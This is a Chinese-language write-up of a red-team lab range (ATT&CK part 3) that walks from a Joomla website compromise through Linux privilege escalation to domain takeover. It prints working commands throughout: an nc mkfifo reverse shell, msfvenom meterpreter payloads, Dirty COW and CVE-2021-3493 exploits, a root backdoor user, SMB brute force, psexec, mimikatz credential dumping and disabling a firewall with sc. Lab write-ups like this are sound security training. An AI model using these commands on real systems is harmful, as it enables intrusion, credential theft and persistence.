ATT&CK红队评估(三)


外网WEB

信息搜集

已经知道目标IP地址 : 192.168.1.110
对其进行 常规扫描信息搜集

1
nmap -A 192.168.1.110

image.png
image.png
对其简单的Nmap 扫描
发现存在三个端口 22 80 3306
那就可以猜测 开放了80 端口,3306 是否存在phpmyadmin 页面等等
看看http开放了啥

1
2
3
4
5
6
7
8
80/tcp   open  http    nginx 1.9.4
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.9.4

存在nginx 可能存在端口转发啥的
image.png
看着像一个博客系统
其实nmap 已经扫描出来是啥cms了

1
http-generator: Joomla! - Open Source Content Management

是一个Joomla 的 内容管理系统
对其先进行目录扫描

1
2
3
4
5
6
#gobuster 工具
gobuster dir -u http://192.168.1.110/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
#dirb 工具
dirb "http://192.168.1.110"
#dirsearch 工具
dirsearch -u http://192.168.1.110

先后台扫描着 ,先去看看这个内容管理系统是啥 ,是否存在近期漏洞

Joomla 内容管理系统

Joomla是一套全球知名的内容管理系统。 [1] Joomla是使用PHP语言加上MySQL数据库所开发的软件系统,最新版本是4.2.8 [2] 。可以在Linux、 WindowsMacOSX等各种不同的平台上执行。

存在历史漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(CVE-2015-8562)  Joomla 3.4.5 反序列化漏洞
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,
如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。
而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。
截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

(CVE-2016-8869) Joomla 3.4.4-3.6.3 未授权创建特权用户
网站关闭注册的情况下仍可创建用户,默认状态下用户需要用邮件激活,但需要开启注册功能才能激活。

(CVE-2017-14596) Joomla! 1.5 <= 3.7.5 LDAP注入绕过登录认证
通过在登录页面利用该漏洞进行攻击,非特权的远程攻击者可以提取出LDAP服务器中所有的用户凭证
(用于安装Joomla!),这些凭证包括特权用户以及Joomla!管理员的用户名以及密码。
获取到这些凭证之后,攻击者就可以使用这些信息来登录Joomla!的管理员控制面板并完全接管Joomla!,
或者通过上传自定义的Joomla!扩展实现远程代码执行并相关的Web服务器。

(CVE-2017-8917) Joomla 3.7.0 QL注入漏洞
(CVE-2020-10238)Joomal <= 3.9.15 远程命令执行漏洞
(CVE-2020-11890) Joomla 远程命令执行漏洞
受影响的版本:3.9.17之前的Joomla核心 用户要求:管理员帐户(非超级管理员) 获得访问权限:
创建一个新的超级管理员,然后触发RCE。

Joomla! com_fabrik 3.9.11 目录遍历漏洞 Version: 3.9
Joomla component GMapFP 3.30 任意文件上传
Joomla 3.4.6 - 'configuration.php' 远程代码执行

CVE-2023-23752 未授权访问 4.0.0 - 4.2.7版本

参考:
Google
https://www.hacking8.com/bug-product/Joomla/Joomla-3-3.4.6-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

存在漏洞数量不小,但是我们不知道的是现在这个Joomal 版本是多少
经过搜索的得知存在 一个 关于 Joomla 的 漏洞扫描

Joomscan 扫描工具

是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报
Kali 安装 : apt install joomscan
扫描一下

1
joomscan --url http://192.168.1.110

image.png
扫描到了版本号 3.9.2
image.png
存在sql注入和 文件上传的
现在去看看扫描结果 找后台 ,找注入,找上传

目录扫描结果

现在先回去看目录扫描 扫描出了啥
image.png
image.png
可疑目录

1
2
3
4
5
6
7
8
9
[20:30:50] 200 -   31B  - /administrator/logs/
[20:30:52] 200 - 5KB - /administrator/
[20:30:52] 200 - 5KB - /administrator/index.php
[20:30:56] 200 - 31B - /bin/
[20:31:01] 200 - 2KB - /configuration.php~
[20:31:13] 200 - 3KB - /htaccess.txt
[20:31:57] 200 - 2KB - /web.config.txt
[20:31:49] 200 - 0B - /templates/system/
[20:31:40] 200 - 829B - /robots.txt

后台地址:: http://192.168.1.110/administrator/
image.png
htaccess.txt 泄露
image.png
http://192.168.1.110/web.config.txt
image.png
robots.txt 文件 存在的目录还是比较多的
image.png
http://192.168.1.110/configuration.php~
是一个配置php文件
image.png
这部分信息是有用的信息 ,知道了绝对路径 ,数据库账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $feed_limit = '10';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
}

数据库

连接数据库 ::

1
账号密码   testuser cvcvgjASD!@

image.png

1
show databases;

image.png

1
show tables;

image.png
存在两个 users 表

1
2
am2zu_users   
umnbt_users

image.png
感觉是下面那个用户表 ,毕竟带有administrator
可是他的编码不知道是啥编码的 ,直接修改一个密码 或者 添加一个管理员用户

添加管理员

添加一个管理员
查看官方文档: https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
image.png

1
2
3
4
5
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

select * from am2zu_users;

image.png
成功添加了一个admin / secret 的管理员用户上去

修改密码

修改 administrator 的密码,因为不知道加密方式也不知道是什么编码就不知道密码了

1
update am2zu_users set password=md5("123456") where id=891;

image.png

1
select * from am2zu_users where id=891;

image.png
可以看见 administrator 成功被修改掉密码了
尝试登录后台看看
image.png

webshell

成功登录后台 找上传 拿shell啦
Extensions->Templates->Templates->Beez3 Details and Files
可以修改和上传都可以
image.png
连接地址:http://192.168.1.110//templates/beez3/error.php
使用中国蚁剑 :地址: https://github.com/AntSwordProject/AntSword-Loader
image.png
执行命令
image.png
但是返回ret=127
说明是禁用了部分函数,不能执行命令导致 ,这就要突破disable_functions限制
原理:
当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令
这里使用蚁剑的插件 进行突破 disable_functions
安装这个插件
image.png
就选这个把 ,基本都是可以使用的
image.png
image.png
成功执行命令
这样不方便,先生成了msf的linux shell 反弹到msf 方便执行命令

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=1111 -f elf  > shell.elf

image.png
image.png
这边发现一直反弹不了 ,没仔细看IP ,发现IP是192.168.93.120 并不是 192.168.1.110 了
这是咋回事呢 。。。??
那就先信息搜集这台主机的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uname -a    # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则

image.png
可以看出 是ubuntu 64 位系统 ,
192.168.93.120 与 192.168.93.100 存在这连接的
看了下内核 是4.4.0-142 我尝试了 其中kali中

1
linux/local/44298.c

比较相近的poc 但是无果
查找到一个CVE-2019-18683 可能存在 提权
image.png
但是好像比较麻烦。。。先放一边
在tmp目录存在三个 文件
image.png
image.png

SSH

进入mysql ,mysql中存在 一个test.txt 文件

1
2
adduser wwwuser
passwd wwwuser_123Aqx

是一个用户密码
mysql的数据库密码 ???
image.png
显然不是啊
192.168.1.110 开放了22 端口 ,是否是他的密码呢
使用ssh 连接
image.png
报错

1
Unable to negotiate with 192.168.1.110 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

由提示得知,ssh不能远程登录的原因为:没有找到相关的主机密钥类型。
1、确实是主机密钥类型不符合
2、不存在相关主机密钥类型
解决办法:

1
2
3
4
5
6
7
8
9
10
方法1、命令中加参数
ssh -o HostKeyAlgorithms=+ssh-dss wwwueser@192.168.1.110

方法2、在~/.ssh目录下添加config
vi config
在config中写入以下code:
Host *
HostKeyAlgorithms +ssh-dss
重启ssh
service ssh restart

使用方法一 成功连接 ssh
image.png
这才是对的 ,
到这里已经获取到两台主机的权限了 ,但是偏低
ubuntu 提权比较麻烦,查看 Centos 是否好提权
image.png
2.6.32 提权希望很大啊
image.png
感觉这个25444.c 比较合适啊
image.png
失败
mempodipper.c 失败
http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
使用wget 获取 wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
image.png

Centos 脏牛(CVE-2016-5195)提权

https://github.com/FireFart/dirtycow
image.png
编译下载的EXP

1
gcc -pthread dirty.c -o dirty -lcrypt

image.png
执行

1
./dirty 123456

image.png
image.png
运行之后要恢复 passwd
先切换用户 firefart
image.png
Centos成功提权

权限维持

创建一个test的 root 用户 密码为 123456

1
useradd -p 'openssl passwd -1 -salt 'salt' 123456' test -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

image.png

Ubuntu CVE-2021-3493 提权

因为Centos 没有 nc 要先下载nc
安装包

1
2
3
4
5
64位 :
http://vault.centos.org/6.6/os/x86_64/Packages/nc-1.84-22.el6.x86_64.rpm

32位:
http://vault.centos.org/6.6/os/i386/Packages/nc-1.84-22.el6.i686.rpm

上传到Centos 上
安装

1
rpm -iUv nc-1.84-22.el6.x86_64.rpm

image.png
把shell 反弹到 Centos
Centos 监听 :

1
nc -l 2222

Ubuntu :

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2222>/tmp/f

image.png
image.png
成功反弹shell
把POC 上传上去
POC: https://github.com/briskets/CVE-2021-3493
image.png
Ubuntu特权提升漏洞(CVE-2021-3493)

1
2
3
4
5
6
7
8
9
10
11
12
13
漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。
Linux内核中overlayfs文件系统中的Ubuntu特定问题,
在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。
由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。


影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

编译提权

1
2
3
gcc  -o exp exploit.c
chmod +x exp
./exp

image.png
成功提权

进入内网

Centos 上线MSF

使用msfvenom 生成 shell ,反弹到msf 上

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.10 lport=1111 -f elf > a.elf

image.png
上传到Centos 运行
image.png
image.png
获取到shell
image.png
内网IP段 192.168.93.0 段
搭建路由

搭建MSF路由与代理

MSF路由

1
run autoroute -s 192.168.93.0/24

或者使用

1
2
3
use exploit/multi/script/web_delivery
route add 192.168.93.0 255.255.255.0 1
route print

添加MSF路由
image.png
image.png
使用Vemom 搭建代理
Centos 客户端启动
image.png
服务器收到
image.png
socks 3333端口
image.png

smb 扫描 存活

1
2
3
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
run

image.png
image.png
扫描结果

1
2
3
192.168.93.30  Windows  7
192.168.93.20 Windows 2008
192.168.93.10 Windows 2012 R2

使用Nmap 扫描 看看是否存在web服务

192.168.93.10

image.png

192.168.93.20

image.png

192.168.93.30

image.png
这个一直超时 ,扫描不出来。
使用 这句扫描的端口,banner 信息

1
proxychains4 nmap -Pn -sT -sV 192.168.93.10192.168.93.20192.168.93.30 -F 

image.png
基本都是开放了smb,可能smb是一个突破口吧,
但是发现他们的域名是 test.org 域名
测试了ms17-010 ,ms08-067 都不行
image.png

SMB爆破

1
2
3
4
5
use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run

image.png
爆破出了win2008 ,win7 的 密码 是 123qwe!ASD

PsExec

PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。后来因为太过方便,被利用到内网渗透之中。现在PsExec类的工具有各种语言的实现,如Metasploit的psexec psexec psh, Impacket psexec, pth-winexe, Empire Invoke-Psexec等等。
PsExec是一个轻量级的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

基本原理::
PsExec特点:

  • psexec远程运行需要远程计算机启用文件和打印共享且默认的Admin$共享映射到C:windows目录。
  • psexec建立连接之后目标机器上会被安装一个“PSEXESVC”服务。但是psexec安全退出之后这个服务会自动删除(在命令行下使用exit命令退出)。

PsExec详细运行过程:

  1. TCP三次握手,通过SMB会话进行身份验证。
  2. 连接**admin$**共享,通过 SMB 访问默认共享文件夹 **ADMIN$**,写入PSEXESVC.exe文件;
  3. 利用ipc命名管道调用svcctl服务
  4. 利用svcctl服务开启psexesvc服务
  5. 生成4个命名管道以供使用。一个psexesvc管道用于服务本身,另外的管道stdin(输入)、stdout(输出)、stderr(输出)用于重定向进程。
    1
    2
    3
    4
    5
    6
    use exploit/windows/smb/psexec
    set payload windows/x64/meterpreter/bind_tcp #设置正向连接
    set rhost 192.168.93.20
    set smbuser administrator
    set smbpass 123qwe!ASD
    run
    image.png
    直接就登录了 少去提权步骤了都
    20,30 都是system 权限
    image.png
    因为前面扫描的的时候就已经知道 域名是test.org 了
    ping一下就ok了
    image.png
    现在需要用到 mimikatz 抓取密码

kiwi_cmd

利用msf自带的mimikatz ,并入了kiwi

1
2
load kiwi #加载 kiwi
kiwi_cmd sekurlsa::logonpasswords #调用kiwi_cmd执行mimikatz命令

image.png
在win7上面没有抓到
在win2008 上面抓到 域控的密码了
image.png

1
2
3
4
kerberos :                                                                                                                                                                        
* Username : Administrator
* Domain : TEST.ORG
* Password : zxcASDqw123!!

IPC 远程连接

因为使用psexec 这里建立不了域控的连接,先使用 IPC 进行连接
image.png

1
2
3
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
dir \\192.168.93.10\C$\users\administrator\Documents
type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

image.png
这样就获取到了 域控目录下的flag.txt

SC 命令

使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:

1
2
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

image.png
关闭成功,再次使用psexec
image.png
成功获取了权限 并且是system

1
proxychains4 python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell

wmiexec

https://github.com/XiaoliChan/wmiexec-Pro #这个是pro ,但是我没有连接成功

1
proxychains python3 wmiexec-pro.py administrator:zxcASDqw123!!@192.168.93.10 exec-command -shell

并不能成功运行

https://github.com/fortra/impacket/blob/master/examples/wmiexec.py #这个是可以用的

1
proxychains python3 wmiexec.py 'TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10'

image.png
成功执行 ,获取到了shell

主要是这个centos 靶机老是断开连接,网卡获取几个小时ip后就断了 ,要重新获取,或者 恢复快照,
其他还好 ,用时两天左右
1CD06D7A.jpg 1CD08671.gif